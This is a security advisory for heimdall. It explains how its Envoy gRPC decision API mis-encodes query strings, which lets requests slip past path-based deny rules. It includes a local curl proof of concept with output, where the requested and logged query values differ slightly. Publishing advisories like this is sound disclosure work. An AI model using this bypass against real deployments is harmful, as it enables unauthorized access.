Heimdall: Path received via Envoy gRPC corrupted when containing query string

發布日:2026/3/18修改日:2026/4/27

描述

### Summary When using heimdall in envoy gRPC decision API mode, wrong encoding of the query URL string allows rules with non-wildcard path expressions to be bypassed. The HTTP based decision API is NOT affected, and proxy mode is NOT affected either. **Note:** The issue can only lead to unintended access if heimdall is configured with an "allow all" default rule. Since v0.16.0, heimdall enforces secure defaults and refuses to start with such a configuration unless this enforcement is explicitly disabled, e.g. via `--insecure-skip-secure-default-rule-enforcement` or the broader `--insecure` flag. ### Details Envoy splits the requested URL into parts, and sends the parts individually to heimdall. Although `query` and `path` are present in the API, the `query` field is documented to be always empty and the URL query is included in the `path` field [1]. The implementation uses go's url library to reconstruct the url which automatically encodes special characters in the path. https://github.com/dadrus/heimdall/blob/1faba9e4160bd7ab3240cf6aa418e21bfef3401a/internal/handler/envoyextauth/grpcv3/request_context.go#L109-L115 As a consequence, a parameter like `/mypath?foo=bar` to `Path` is escaped into `/mypath%3Ffoo=bar`. Subsequently, a rule matching `/mypath` no longer matches and is bypassed. ### PoC Using the example docker compose setup, the `demo:public` rule is bypassed when adding a query parameter. > docker compose -f docker-compose-envoy-grpc.yaml -f docker-compose.yaml up ``` curl http://127.0.0.1:9090/public Hostname: 80201fead1c7 IP: 127.0.0.1 IP: ::1 IP: 172.23.0.3 RemoteAddr: 172.23.0.5:37056 GET /public HTTP/1.1 Host: 127.0.0.1:9090 User-Agent: curl/8.19.0 Accept: */* X-Envoy-Expected-Rq-Timeout-Ms: 15000 X-Forwarded-Proto: http X-Request-Id: 0a1f0f06-75ef-4f14-92af-16162ea1d9e5 curl -v http://127.0.0.1:9090/public?bypass * Trying 127.0.0.1:9090... * Established connection to 127.0.0.1 (127.0.0.1 port 9090) from 127.0.0.1 port 47876 * using HTTP/1.x > GET /public?hallo HTTP/1.1 > Host: 127.0.0.1:9090 > User-Agent: curl/8.19.0 > Accept: */* > * Request completely sent off < HTTP/1.1 401 Unauthorized < date: Sat, 14 Mar 2026 16:34:17 GMT < server: envoy < content-length: 0 < * Connection #0 to host 127.0.0.1:9090 left intact ``` When using the HTTP decision API variant, the second request is matched by the rule as well: > docker compose -f docker-compose-envoy-http.yaml -f docker-compose.yaml up ``` curl http://127.0.0.1:9090/public?bypass Hostname: 80201fead1c7 IP: 127.0.0.1 IP: ::1 IP: 172.23.0.4 RemoteAddr: 172.23.0.2:38044 GET /public?hallo HTTP/1.1 Host: 127.0.0.1:9090 User-Agent: curl/8.19.0 Accept: */* X-Envoy-Expected-Rq-Timeout-Ms: 15000 X-Forwarded-Proto: http X-Request-Id: 5c961bc6-ad03-4a44-982b-abe04566fdd2 ``` ### Impact Everyone using heimdall with the envoy gRPC API may be affected. Users who configured a deny list in heimdall (with an allow-all default rule) are affected, as attackers can potentially circumvent a specific block rule by adding query parameters.
